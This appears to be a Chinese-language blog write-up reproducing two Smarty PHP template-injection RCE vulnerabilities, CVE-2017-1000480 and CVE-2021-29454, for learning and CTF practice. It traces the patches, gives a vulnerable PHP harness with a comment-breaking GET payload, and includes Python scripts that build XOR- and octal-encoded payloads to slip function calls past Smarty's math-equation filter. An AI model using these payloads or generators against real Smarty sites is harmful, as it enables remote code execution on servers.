php-smarty模版注入RCE

好久没复现漏洞了,最近刷题时遇到了一道smarty模版注入,是cve-2021-xx改编的,便复现几个smarty的模版注入cve,争取逐渐捡起来落下的东西。

smarty是php模版生成工具,可以将很简单的自定义代码根据它的语法转换成php代码。

CVE-2017-1000480

漏洞原理是smarty的display()会展示用户自定义模版,模板文件名可控,结合fetch()可通过get方式获取模板文件名,同时在解析模版(即php代码)时未对文件名进行特殊字符过滤,造成RCE。

这个cve的复现过程,我主要训练的是思路,即如何根据修补情况定位漏洞、漏洞触发原理以及怎么构造漏洞的利用条件,从而启发如何自己通过代码审计发现漏洞。

0x1 漏洞定位

cve描述+厂商修补位置

根据cve的漏洞描述和受影响的版本介绍,从smarty修补情况(github)上定位漏洞的位置。

1
Smarty 3 before 3.1.32 is vulnerable to a PHP code injection when calling fetch() or display() functions on custom resources that does not sanitize template name.

github上对3.1.32版本的change_log.txt找到:
aaa
然后search关键字,找到一个commit 614ad1f8b9b00086efc123e49b7bb8efbfa81b61,对三处代码进行了change
94e12fd639261795854ba902db1f8275
可以看到主要是template文件名的特殊字符进行了替换,大概猜到漏洞原因是构造了特殊的自定义模板文件名造成的。

0x2 漏洞触发原理分析

利用链

从smarty 3.1.32对三处代码下断点。

由于不熟悉smarty语法,对这三处进行静态分析时,找不到相关函数的上下文关系,即“Find Usage”失效,search 函数名又有太多处代码会调用create函数。因此转而通过动态调试进行分析。

第一个想法是直接拿别人构造好的代码来用,但这样不利于漏洞利用链的构造。

根据cve描述,漏洞通过display和fetch产生,利用smarty官网的display()demo,尝试函数能不能执行到create。很幸运,成功了。
a2192715ebe79b76bb5d161ceaa0de93
查看寄存器,此时的$output值为:

1
2
3
<?php
/* Smarty version 3.1.31, created on 2022-10-19 23:16:46
from "[path]/templates/index.tpl" */.........

即构造模版时会生成一段版权声明,文件名是通过display()传递的参数,而文件名可以构造,那么只要让前后的注释符闭合,中间插入恶意代码即可。

原理分析

create的调用栈
05fba457e37f95e7d82618b249eca792
核心smarty_template_compiled.php的process(),第100和103行,编译和加载模版过程
853e702401f40ca280d022feeb9e9d7e
471dccfcc713362a5af6e8c23849cf26

0x3 poc

经过多次调试和代码追踪,display()都会执行到create(),结合fetch(),构造一个类模板,类名可get获得。直接用了chybeta的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
include_once('../libs/Smarty.class.php');
define('SMARTY_COMPILE_DIR', '/tmp/templates_c');
define('SMARTY_CACHE_DIR', '/tmp/cache');

class test extends Smarty_Resource_Custom
{
protected function fetch($name, &$source, &$mtime)
{
$template = "CVE-2017-1000480 smarty PHP code injection";
$source = $template;
$mtime = time();
}
}

$smarty = new Smarty();
$my_security_policy = new Smarty_Security($smarty);
$my_security_policy->php_functions = null;
$my_security_policy->php_handling = Smarty::PHP_REMOVE;
$my_security_policy->modifiers = array();
$smarty->enableSecurity($my_security_policy);
$smarty->setCacheDir(SMARTY_CACHE_DIR);
$smarty->setCompileDir(SMARTY_COMPILE_DIR);
$smarty->registerResource('test', new test);
$smarty->display('test:' . $_GET['chybeta']);

?>
1
http://localhost/demo/index.php?chybeta=*/phpinfo();/*

c5f9510a1b157b5c8cff18a72c1987a4

CVE-2021-29454

还是从github commit入手
547399f3be5a1048abaf779af2b5fcfd
增加对php规定字符、变量的匹配,并给出regexp的构造形式

存在漏洞的版本,仅对传入的数学表达式进行php规定字符变量匹配,符合规定就eval
da076710d91d5bdec32c1fd89dfd3b98
785447238fb694d00cd627c442d5e3ce
那么关键是如何绕过reg

0x1 利用

无字符RCE

利用reg允许的字符集(0-9、a-zA-Z)、白名单函数拓展额外的字符集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
def expand_ascii():#0-9E.
rec = {}
var = {}

def xor(a,b):
return chr(ord(a)^ord(b))

def expand(s):
keys = list(rec.keys())
for c in keys:
t = xor(s,c)
if t not in rec.keys():
rec[t] = rec[s]+rec[c] #记录新扩展的字符由哪两个元字符构成(list+list=>list)

def expand_all():
#构造0-9E. 字典 rec = {dict}{'0':['0']}
for i in range(10):
rec[str(i)] = list(str(i))
rec["E"] = ["E"]
rec["."] = ["..."]
for i in range(64):#
expand(random.choice(list(rec.keys())))
for k in rec.keys():
c = Counter(rec[k]) #计算每个value的值的重复个数
rec[k] = [_ for _ in c.keys() if c[_] % 2] #扩展字符集的数据处理,比方说'k'=X^Y='3'^'..,'^'3'^'E'='...'^'E',需要剔除重复的,即异或后为0的
print(rec)

def init():
expand_all()
#制定模板
for i in range(10):
c = chr(ord('a')+i)
var[str(i)] = f"(({c}.{c})[0])"
var["E"] = "((exp(100).b)[15])" # exp(100)==2.6881171418161E+43
var["..."] = "((exp(100).b)[1])" # point => .

def generate_code(cmd): # 参数命名时要以其实际含义,而不是参数类型,一开始仅想到str,但是str具体代表什么呢
code = [f"({'^'.join(rec[c])})" for c in cmd] #利用字符集构造命令
#f"({'^'.join(rec[c])})" 如何得到'(5^E)'
return ".".join(code)
def replace_var(code):
for c in var.keys():
code = code.replace(c,var[c])
return code
def generate_exp(expr):
var_expr = ["=".join((chr(ord('a')+i),str(i))) for i in range(10)]
return 'string: {math equation="%s" %s}' % (expr, " ".join(var_expr))

init()
func = replace_var(generate_code("phpinfo"))
payload = generate_exp(f"({func})()")
print(payload)

根据reg找漏网之鱼

匹配中仅剔除反引号、美元符(该符号可自定义变量),可以构造八进制字符串实现(八进制特征:反斜杠、数字)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
str = '("phpinfo")()'
string = ''
for i in str:
#print(i)
if i == '"':
string += '\\"'
continue
if i == '(':
string += '('
continue
if i == ')':
string += ')'
continue
if i == ',':
string += ','
continue
string += '\\\\' + oct(ord(i))[2:]
print(string)

tips:
构造RCE的时候,函数名称要用(“”)包含起来,不然利用不成功,调试过程中没发现smarty的特殊要求

ref:https://250.ac.cn/2022/03/22/CVE-2021-29454/#smarty

0x2 例题

2022红明谷杯 Smarty Caculator

存在源码泄露(工具跑了一个晚上,才找到……)

根据版本对比github版本,仅三个文件被修改,然后就盯着被修改的地方死活想不明白跟这个cve有什么关系……

后来才绕出来,例题版本<CVE版本,该CVE可以直接利用……麻了,陷入了思维定式